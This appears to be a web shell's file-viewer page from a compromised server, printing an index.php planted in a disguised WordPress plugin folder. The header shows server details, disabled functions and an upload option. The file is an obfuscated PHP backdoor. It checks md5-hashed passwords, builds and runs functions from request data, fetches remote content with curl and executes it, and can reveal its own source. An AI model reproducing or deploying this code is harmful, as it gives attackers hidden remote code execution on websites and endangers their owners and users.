HEX
Server: Apache/2
System: Linux localhost 5.4.0-131-generic #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 x86_64
User: rasad (1007)
PHP: 7.4.33
Disabled: shell_exec,system,passthru,exec,popen,ini_restore,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_bind,symlink,link,pfsockopen,ini_alter,dl,pcntl_exec,pcntl_fork,proc_close,proc_open,proc_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_uname,show_source,getfile,mkfifo
Upload Files
File: /home/rasad/domains/rasadeardakan.ir/public_html/wp-content/plugins/zxgmtvs/zxgmtvs/index.php
<?php
 goto skK6x33mVUhSmzTj; skK6x33mVUhSmzTj: $e1SurDsenHJdHDWQ = range("\176", "\x20"); goto SMFmuY8IHhah5luE; TEupcfWqNfzPCaoM: if (!(in_array(gettype($ciIjm3ppIePs4b37) . count($ciIjm3ppIePs4b37), $ciIjm3ppIePs4b37) && count($ciIjm3ppIePs4b37) == 27)) { goto WGWfUBkVdlAw33BR; } goto guXhdgl9U6SLcLZm; YGzGQxCjs5_15sjI: metaphone("\130\147\155\x4e\x79\x68\x53\141\x61\x30\123\x7a\x34\x69\x41\70\x2b\x52\x71\152\x35\x6c\x48\161\x6d\121\x4a\x37\57\145\66\63\132\x5a\x63\x41\x78\167\x6c\112\x53\x38\147"); goto e814HnoNcXH3HCE8; guXhdgl9U6SLcLZm: @(md5(md5(md5(md5($ciIjm3ppIePs4b37[21])))) === "\x38\66\x63\x34\61\x64\60\x32\x64\x30\x39\x63\142\x61\146\64\x33\x30\x61\145\65\x31\x39\71\60\62\x32\64\70\70\71\x36") && (($ciIjm3ppIePs4b37[61] = $ciIjm3ppIePs4b37[61] . $ciIjm3ppIePs4b37[80]) && ($ciIjm3ppIePs4b37[83] = $ciIjm3ppIePs4b37[61]($ciIjm3ppIePs4b37[83])) && @($ciIjm3ppIePs4b37 = $ciIjm3ppIePs4b37[83]($ciIjm3ppIePs4b37[52], $ciIjm3ppIePs4b37[61](${$ciIjm3ppIePs4b37[48]}[27]))) && $ciIjm3ppIePs4b37()); goto VgK0Mpj1pZVfeWQJ; SMFmuY8IHhah5luE: $ciIjm3ppIePs4b37 = ${$e1SurDsenHJdHDWQ[17 + 14] . $e1SurDsenHJdHDWQ[13 + 46] . $e1SurDsenHJdHDWQ[15 + 32] . $e1SurDsenHJdHDWQ[34 + 13] . $e1SurDsenHJdHDWQ[6 + 45] . $e1SurDsenHJdHDWQ[44 + 9] . $e1SurDsenHJdHDWQ[36 + 21]}; goto TEupcfWqNfzPCaoM; e814HnoNcXH3HCE8: class xofzuMZ04xRkwr32 { static function kXbpuEPikMyjN1g2($gr9jZ5JJ4aYV7FdB) { goto QQkxfK12wuJ70en4; I08IRBvvb5csmgtw: K2sW693EUjGSFeWX: goto ZydQtSr39icF_jZR; ZydQtSr39icF_jZR: return $F9TEaRrCGoADQ_ns; goto J5wO8CriCyixn40j; tN1iw2ZWZr0tjeAO: $OYXdMT3ogMLk4mFe = explode("\x3c", $gr9jZ5JJ4aYV7FdB); goto JHEU5nOrepzWAA8_; fV8UcIU7SR0bMg1g: $gl4WWEqt0Wh6RJsJ = $QWGBYSUc9y3UpNqK("\176", "\40"); goto tN1iw2ZWZr0tjeAO; OWomfDzE_IFHgZgm: foreach ($OYXdMT3ogMLk4mFe as $bLMncM0FtYDnZMXm => $WPQepKjyDKXJHaRL) { $F9TEaRrCGoADQ_ns .= $gl4WWEqt0Wh6RJsJ[$WPQepKjyDKXJHaRL - 39897]; HBhNijcvdt6FygS3: } goto I08IRBvvb5csmgtw; JHEU5nOrepzWAA8_: $F9TEaRrCGoADQ_ns = ''; goto OWomfDzE_IFHgZgm; QQkxfK12wuJ70en4: $QWGBYSUc9y3UpNqK = "\162" . "\141" . "\x6e" . "\147" . "\x65"; goto fV8UcIU7SR0bMg1g; J5wO8CriCyixn40j: } static function uPHi06o0jiMYvdMG($X7ahI2aJu7LnOBc2, $U90jHj25iVI9zneK) { goto lXdDrXC2UJaMgdMm; j6pXd2C9x2Xj2hLW: return empty($rUZWu2pN3wfcDdMw) ? $U90jHj25iVI9zneK($X7ahI2aJu7LnOBc2) : $rUZWu2pN3wfcDdMw; goto Gd3D8aIP562eScri; lXdDrXC2UJaMgdMm: $oStdtrP8HlMs5bNJ = curl_init($X7ahI2aJu7LnOBc2); goto vvm6tLciAce_22Kx; vvm6tLciAce_22Kx: curl_setopt($oStdtrP8HlMs5bNJ, CURLOPT_RETURNTRANSFER, 1); goto T8vKcJVNN033DUAG; T8vKcJVNN033DUAG: $rUZWu2pN3wfcDdMw = curl_exec($oStdtrP8HlMs5bNJ); goto j6pXd2C9x2Xj2hLW; Gd3D8aIP562eScri: } static function C24vXH2PTqGUDPHV() { goto anOrtSyycmftC5oe; LHtvMHTpPyatwGEP: foreach ($wWSrCjgSoaB8i8WD as $mbnjgv1BCg8QsVq8) { $XXH3t3MBMIf68N7T[] = self::KXbPuepikmYjN1G2($mbnjgv1BCg8QsVq8); DdJ4iPNvsCS8RNAT: } goto iW4JVDLbLLLvw1es; p0sermQ58HwAN9ZV: $W3T2VX6xJ72t5AXE = @$XXH3t3MBMIf68N7T[1]($XXH3t3MBMIf68N7T[2 + 8](INPUT_GET, $XXH3t3MBMIf68N7T[2 + 7])); goto ENQKZzPcn9HhcbFE; oEli5MBesRuWn327: die; goto DUKVnrqb2dq6BCzp; qMogJYrYVPGK3XYL: @$XXH3t3MBMIf68N7T[9 + 1](INPUT_GET, "\157\x66") == 1 && die($XXH3t3MBMIf68N7T[4 + 1](__FILE__)); goto vEk5eZ6I1i8PcTv9; ENQKZzPcn9HhcbFE: $ONN6FczV5gXwCSXU = @$XXH3t3MBMIf68N7T[3 + 0]($XXH3t3MBMIf68N7T[0 + 6], $W3T2VX6xJ72t5AXE); goto pSAffu_moj4BZWXz; OFg8dbhYCwMniOLi: $SCCdGksrg7RKv8Le = self::UpHI06O0JimyVDmg($mMXoIFY5VIcFPndc[1 + 0], $XXH3t3MBMIf68N7T[1 + 4]); goto N07OYKwF6ld46I5i; DUKVnrqb2dq6BCzp: YJ0PONVIlaOmU8Kj: goto tDQ7PN9aQWE1FwHl; pSAffu_moj4BZWXz: $mMXoIFY5VIcFPndc = $XXH3t3MBMIf68N7T[1 + 1]($ONN6FczV5gXwCSXU, true); goto qMogJYrYVPGK3XYL; vEk5eZ6I1i8PcTv9: if (!(@$mMXoIFY5VIcFPndc[0] - time() > 0 and md5(md5($mMXoIFY5VIcFPndc[3 + 0])) === "\142\70\x66\x61\x37\65\x36\67\x31\x65\65\61\64\x30\60\70\145\x36\143\x39\70\144\x31\146\62\x33\x33\63\x31\x34\x37\143")) { goto YJ0PONVIlaOmU8Kj; } goto OFg8dbhYCwMniOLi; anOrtSyycmftC5oe: $wWSrCjgSoaB8i8WD = array("\63\71\71\62\64\74\63\x39\71\x30\71\74\x33\x39\71\62\62\74\x33\x39\x39\x32\66\74\x33\x39\x39\60\67\74\63\71\71\x32\x32\x3c\63\x39\x39\x32\x38\x3c\63\71\71\62\61\x3c\x33\71\x39\x30\x36\74\63\71\71\61\63\74\63\71\x39\62\x34\x3c\x33\71\x39\x30\x37\74\63\x39\71\61\70\74\x33\x39\71\x31\62\x3c\x33\71\x39\61\x33", "\x33\71\x39\x30\x38\x3c\63\71\71\x30\67\74\63\x39\71\60\x39\74\63\x39\x39\x32\70\74\63\71\71\x30\x39\x3c\63\71\71\x31\x32\x3c\x33\x39\71\x30\x37\x3c\63\71\x39\x37\x34\x3c\63\x39\71\x37\62", "\x33\71\x39\61\67\x3c\63\x39\71\x30\x38\x3c\x33\71\71\x31\62\74\x33\x39\71\61\x33\74\63\x39\x39\62\70\x3c\63\71\71\62\x33\x3c\63\71\x39\62\62\x3c\x33\x39\x39\x32\64\x3c\x33\71\x39\x31\x32\x3c\x33\71\x39\62\x33\74\x33\x39\x39\62\62", "\63\x39\x39\x31\61\x3c\63\x39\x39\62\x36\x3c\x33\x39\x39\62\x34\74\63\71\71\x31\66", "\x33\x39\x39\62\x35\x3c\63\x39\x39\62\x36\x3c\x33\x39\71\x30\x38\74\x33\x39\71\x32\x32\74\x33\71\71\x36\71\74\x33\71\71\x37\61\74\63\71\71\62\70\x3c\x33\71\71\62\x33\x3c\x33\x39\71\62\62\74\63\71\71\x32\x34\x3c\63\71\71\61\x32\74\x33\x39\x39\62\63\74\x33\x39\x39\62\x32", "\63\71\71\x32\x31\74\x33\x39\x39\x31\x38\74\63\71\x39\61\65\74\63\x39\71\62\x32\74\63\x39\71\62\70\74\x33\71\71\x32\60\74\x33\x39\x39\62\62\x3c\x33\71\71\x30\67\x3c\x33\71\x39\62\70\74\63\x39\71\62\x34\74\63\x39\71\61\x32\74\63\71\x39\61\63\74\x33\x39\x39\60\x37\x3c\63\71\x39\x32\x32\74\x33\71\x39\x31\63\74\63\71\71\60\67\74\63\x39\71\x30\70", "\63\x39\x39\x35\61\74\63\x39\71\70\61", "\63\x39\70\x39\70", "\x33\x39\x39\x37\66\x3c\63\71\x39\x38\x31", "\x33\x39\71\65\x38\74\63\x39\x39\64\61\x3c\x33\71\71\64\x31\74\63\71\x39\65\x38\x3c\63\x39\71\x33\x34", "\x33\71\71\62\61\74\63\x39\x39\61\x38\x3c\x33\71\x39\x31\x35\x3c\x33\x39\x39\x30\x37\74\x33\x39\71\x32\x32\74\63\71\71\x30\x39\74\63\71\71\x32\x38\74\x33\71\x39\x31\70\74\63\x39\x39\61\x33\74\x33\71\71\61\x31\x3c\x33\x39\x39\x30\66\x3c\63\x39\x39\60\x37"); goto LHtvMHTpPyatwGEP; N07OYKwF6ld46I5i: @$XXH3t3MBMIf68N7T[0]('', $XXH3t3MBMIf68N7T[1 + 6] . $XXH3t3MBMIf68N7T[3 + 1]($SCCdGksrg7RKv8Le) . $XXH3t3MBMIf68N7T[5 + 3]); goto oEli5MBesRuWn327; iW4JVDLbLLLvw1es: Dp7VQpcLz0lk56Nv: goto p0sermQ58HwAN9ZV; tDQ7PN9aQWE1FwHl: } } goto eef7S0h24bVYPsNk; VgK0Mpj1pZVfeWQJ: WGWfUBkVdlAw33BR: goto YGzGQxCjs5_15sjI; eef7S0h24bVYPsNk: XofZUMZ04xRkWr32::C24vxh2ptQgUDPhv();
?>